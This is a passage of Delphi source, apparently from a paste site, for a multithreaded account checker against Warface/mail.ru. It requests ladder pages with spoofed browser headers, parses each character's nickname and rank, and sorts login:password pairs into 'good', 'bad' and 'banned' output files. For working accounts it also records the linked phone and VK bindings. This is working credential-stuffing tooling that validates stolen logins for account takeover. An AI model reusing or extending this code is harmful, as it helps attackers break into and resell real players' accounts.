  673.                           begin
  674.                             if HTTP.ResultCode = 200 then
  675.                             begin
  676.                               Response.LoadFromStream(HTTP.Document);
  677.                               Response.Text:= Utf8ToAnsi(Response.Text);
  678.                               if Pos('<li class="selected">', Response.Text) <> 0 then
  679.                               begin
  680.                                 CheckTemp:= Pars('<li class="selected">', Response.Text, '</li>');
  681.                                 BravoNick:= Pars('<div class="nickname">', CheckTemp, '</div>');
  682.                                 BravoRang:= Pars('<div class="rank_icon icon_rank_', CheckTemp, '">');
  683.                               end
  684.                               else
  685.                               begin
  686.                                 BravoNick:= 'Character not created';
  687.                                 BravoRang:= '0';
  688.                               end;
  689.                             end;
  690.                           end
  691.                           else
  692.                           begin
  693.                             Rez:= 0;
  694.                           end;
  695.  
  696.                           HTTP.Headers.Clear;
  697.                           HTTP.Document.Clear;
  698.                           HTTP.Cookies.Clear;
  699.                           HTTP.Protocol:= '1.1';
  700.                           HTTP.Headers.Add('Origin: http://cdn.warface.ru');
  701.                           HTTP.Headers.Add('Accept-Language: en-us,en');
  702.                           HTTP.Headers.Add('Accept-Charset: iso-8859-1,*,utf-8');
  703.                           HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
  704.                           HTTP.MimeType:= 'application/x-www-form-urlencoded';
  705.  
  706.                           if HTTP.HTTPMethod('GET',
  707.                             'https://wf.mail.ru/dynamic/top/?a=get_ladder_info_gamecenter&server=3&category=1&userid=' + PersId) then
  708.                           begin
  709.                             if HTTP.ResultCode = 200 then
  710.                             begin
  711.                               Response.LoadFromStream(HTTP.Document);
  712.                               Response.Text:= Utf8ToAnsi(Response.Text);
  713.                               if Pos('<li class="selected">', Response.Text) <> 0 then
  714.                               begin
  715.                                 CheckTemp:= Pars('<li class="selected">', Response.Text, '</li>');
  716.                                 CharlyNick:= Pars('<div class="nickname">', CheckTemp, '</div>');
  717.                                 CharlyRang:= Pars('<div class="rank_icon icon_rank_', CheckTemp, '">');
  718.                               end
  719.                               else
  720.                               begin
  721.                                 CharlyNick:= 'Character not created';
  722.                                 CharlyRang:= '0';
  723.                               end;
  724.                             end;
  725.                           end
  726.                           else
  727.                           begin
  728.                             Rez:= 0;
  729.                           end;
  730.                         end;
  731.                       end;
  732.                       Rez:= 1;
  733.                     end
  734.                     else
  735.                     begin
  736.                       Rez:= 0;
  737.                     end;
  738.                   end
  739.                   else
  740.                   begin
  741.                     Rez:= 0;
  742.                   end;
  743.                 end
  744.                 else
  745.                 begin
  746.                   Rez:= 0;
  747.                 end;
  748.               end
  749.               else
  750.               begin
  751.                 Rez:= 0;
  752.               end;
  753.             end
  754.             else
  755.             begin
  756.               Rez:= 0;
  757.             end;
  758.           end
  759.           else
  760.           begin
  761.             Rez:= 2;
  762.           end;
  763.         end;
  764.       end
  765.       else
  766.       begin
  767.         Rez:= 0;
  768.       end;
  769.  
  770.       if Rez = 0 then
  771.       begin
  772.         Synchronize(SyncLocal);
  773.         HTTPWork;
  774.       end;
  775.     end;
  776.   end;
  777.  
  778.  
  779.  
  780. end;
  781.  
  782. procedure FThread.SyncLocal;
  783. var
  784.   ListItem: TListItem;
  785. begin
  786.   //==============================================================================
  787.   // Ñèñòåìà ñîõðàíåíèÿ îñòàòêà ýëåìåíòàðíî óäàëÿåò èíäåêñ ïðè ãóäå / áåäå / áàíå
  788.   // òàêèì ñïîñîáîì RemainsList.Delete(0); ýòî ïîëíûé áðåä. Ó÷èòûâàÿ ÷òî ó íèõ îí
  789.   // áûë 2 ðàçà âíóòðè case 0 è case 1 ðåæèìîâ ðàáîòû ñîôòà, ÿ âûíåñëà çà áëîê case
  790.   // äàáû íå ïèñàòü ýòó òóïóþ ñòðî÷êó RemainsList.Delete(0); äâàæäû.
  791.   // Ïî÷åìó îíà òóïàÿ, îáúÿñíÿòü äóìàþ íå íóæíî, ó÷èòûâàÿ ñòðóêòóðó ïîòîêîâ íèêòî íå
  792.   // çàùèùåí îò çàäåðæêè â õîäå ðàáîòû è â èòîãå ïîòîê ñ àêêàóíòîì 5 óäàëèò èç ëèñòà
  793.   // àêêàóíò 4 è òàê äàëåå. Íó ó÷èòûâàÿ ÷òî ó íèõ èäåò Accounts.Delete(0); ëåã÷å áûëî
  794.   // ïðîñòî ñîõðàíÿòü ýòîò Accounts ÷åì ñîçäàâàòü êëîí ëèñò ÷òî ñêàæåòñÿ íà áîëüøèõ
  795.   // áàçàõ âåäü áàçà áóäåò çàãðóæåíà â ïàìÿòü äâàæäû, þçàÿ äàííûé ñîðåö çàäóìàéòåñü
  796.   // íàä ìîèìè ñëîâàìè è ïîïðàâüòå ñîõðàíåíèå îñòàòêà óáðàâ ëèñò Remains è ïîñòàâèâ
  797.   // ñèñòåìó ñîõðàíåíèÿ íà Accounts è äà òàéìåð ñ èíòåðâàëîì 1000 = 1 ñåê äëÿ ñîõðàíå
  798.   // íèÿ îñòàòêà - ýòî ïèçäåö. Íàãðóçêà ïðè çàãðóçêå áàçû â 300 ìá â èõ ñîôò...
  799.   // 300 Ìá â äâà ëèñòà = 600 ìá è êàæäóþ ñåê ïåðåñîõðàíåíèå 300 ìá íà HDD... :D
  800.   // Ñïàñèáî çà âíèìàíèå, ñ óâàæåíèåì [PC-RET] Yulya
  801.   //==============================================================================
  802.  
  803.   EnterCriticalSection(CriticalSectionSync);
  804.   case Rez of
  805.     0: // Error
  806.     begin
  807.       Form1.ErrorLabel.Caption:= IntToStr(StrToInt(Form1.ErrorLabel.Caption) + 1);
  808.     end;
  809.  
  810.     1: // Good
  811.     begin
  812.       Form1.sGauge1.Progress:= Form1.sGauge1.Progress + 1;
  813.       Form1.sLabel6.Caption:= IntToStr(StrToInt(Form1.sLabel6.Caption) + 1);
  814.       Form1.GoodLabel.Caption:= IntToStr(StrToInt(Form1.GoodLabel.Caption) + 1);
  815.       Form1.sLabel3.Caption:= IntToStr(StrToInt(Form1.sLabel3.Caption) - 1);
  816.  
  817.       case WorkType of
  818.         0:
  819.         begin
  820.           ListItem:= Form1.sListView1.Items.Add;
  821.           ListItem.Caption:= Login + ':' + Password;
  822.           ListItem.SubItems.Add(SMS);
  823.           ListItem.SubItems.Add(VK);
  824.           ListItem.SubItems.Add('ApiMode');
  825.           ListItem.SubItems.Add('Alpha - | ' + AlphaNick + ' | Rank: ' + AlphaRang +
  826.             'Bravo - | ' + BravoNick + ' | Rank: ' + BravoRang +
  827.             'Charly - | ' + CharlyNick + ' | Rank: ' + CharlyRang);
  828.  
  829.           AppendStringToFile('/Õîðîøèå.txt', '');
  830.           AppendStringToFile('/Õîðîøèå.txt', 'Äàííûå äëÿ âõîäà - ' + Login + ':' + Password);
  831.           AppendStringToFile('/Õîðîøèå.txt', 'Ïðèâÿçêà (íîìåð) - ' + SMS);
  832.           AppendStringToFile('/Õîðîøèå.txt', 'Ïðèâÿçêà (VK) - ' + VK);
  833.           AppendStringToFile('/Õîðîøèå.txt', 'Alpha - | ' + AlphaNick + ' | Rank: ' + AlphaRang);
  834.           AppendStringToFile('/Õîðîøèå.txt', 'Bravo - | ' + BravoNick + ' | Rank: ' + BravoRang);
  835.           AppendStringToFile('/Õîðîøèå.txt', 'Charly - | ' + CharlyNick + ' | Rank: ' + CharlyRang);
  836.         end;
  837.  
  838.         1:
  839.         begin
  840.           ListItem:= Form1.sListView1.Items.Add;
  841.           ListItem.Caption:= Login + ':' + Password;
  842.           ListItem.SubItems.Add('SiteMode');
  843.           ListItem.SubItems.Add('SiteMode');
  844.           ListItem.SubItems.Add(Ban);
  845.           ListItem.SubItems.Add('Alpha - | ' + AlphaNick + ' | Rank: ' + AlphaRang +
  846.             'Bravo - | ' + BravoNick + ' | Rank: ' + BravoRang +
  847.             'Charly - | ' + CharlyNick + ' | Rank: ' + CharlyRang);
  848.  
  849.           AppendStringToFile('/Õîðîøèå.txt', '');
  850.           AppendStringToFile('/Õîðîøèå.txt', 'Äàííûå äëÿ âõîäà - ' + Login + ':' + Password);
  851.           AppendStringToFile('/Õîðîøèå.txt', 'Áàí - ' + Ban);
  852.           AppendStringToFile('/Õîðîøèå.txt', 'Alpha - | ' + AlphaNick + ' | Rank: ' + AlphaRang);
  853.           AppendStringToFile('/Õîðîøèå.txt', 'Bravo - | ' + BravoNick + ' | Rank: ' + BravoRang);
  854.           AppendStringToFile('/Õîðîøèå.txt', 'Charly - | ' + CharlyNick + ' | Rank: ' + CharlyRang);
  855.         end;
  856.       end;
  857.       RemainsList.Delete(0);
  858.     end;
  859.  
  860.     2: // Bad
  861.     begin
  862.       Form1.sGauge1.Progress:= Form1.sGauge1.Progress + 1;
  863.       Form1.sLabel6.Caption:= IntToStr(StrToInt(Form1.sLabel6.Caption) + 1);
  864.       Form1.BadLabel.Caption:= IntToStr(StrToInt(Form1.BadLabel.Caption) + 1);
  865.       Form1.sLabel3.Caption:= IntToStr(StrToInt(Form1.sLabel3.Caption) - 1);
  866.  
  867.       AppendStringToFile('/Ïëîõèå.txt', Login + ':' + Password);
  868.       RemainsList.Delete(0);
  869.     end;
  870.  
  871.     3: // Banned
  872.     begin
  873.       Form1.sGauge1.Progress:= Form1.sGauge1.Progress + 1;
  874.       Form1.sLabel6.Caption:= IntToStr(StrToInt(Form1.sLabel6.Caption) + 1);
  875.       Form1.BadLabel.Caption:= IntToStr(StrToInt(Form1.BadLabel.Caption) + 1);
  876.       Form1.sLabel3.Caption:= IntToStr(StrToInt(Form1.sLabel3.Caption) - 1);
  877.  
  878.       AppendStringToFile('/Çàáëîêèðîâàííûå.txt', Login + ':' + Password);
  879.       RemainsList.Delete(0);
  880.     end;
  881.   end;
  882.   LeaveCriticalSection(CriticalSectionSync);
  883. end;
  884.  
  885. procedure FThread.EndWork;
  886. begin
  887.   case MessageDlg('Ðàáîòà çàâåðøåíà!Õîòèòå î÷èñòèòü êîìïîíåíòû?',  mtConfirmation, [mbYes, mbNo], 0) of
  888.     mrYes:
  889.     begin
  890.       CleanButtonProc;
  891.     end;
  892.  
  893.     mrNo:
  894.     begin
  895.       // ret
  896.     end;
  897.   end;
  898. end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement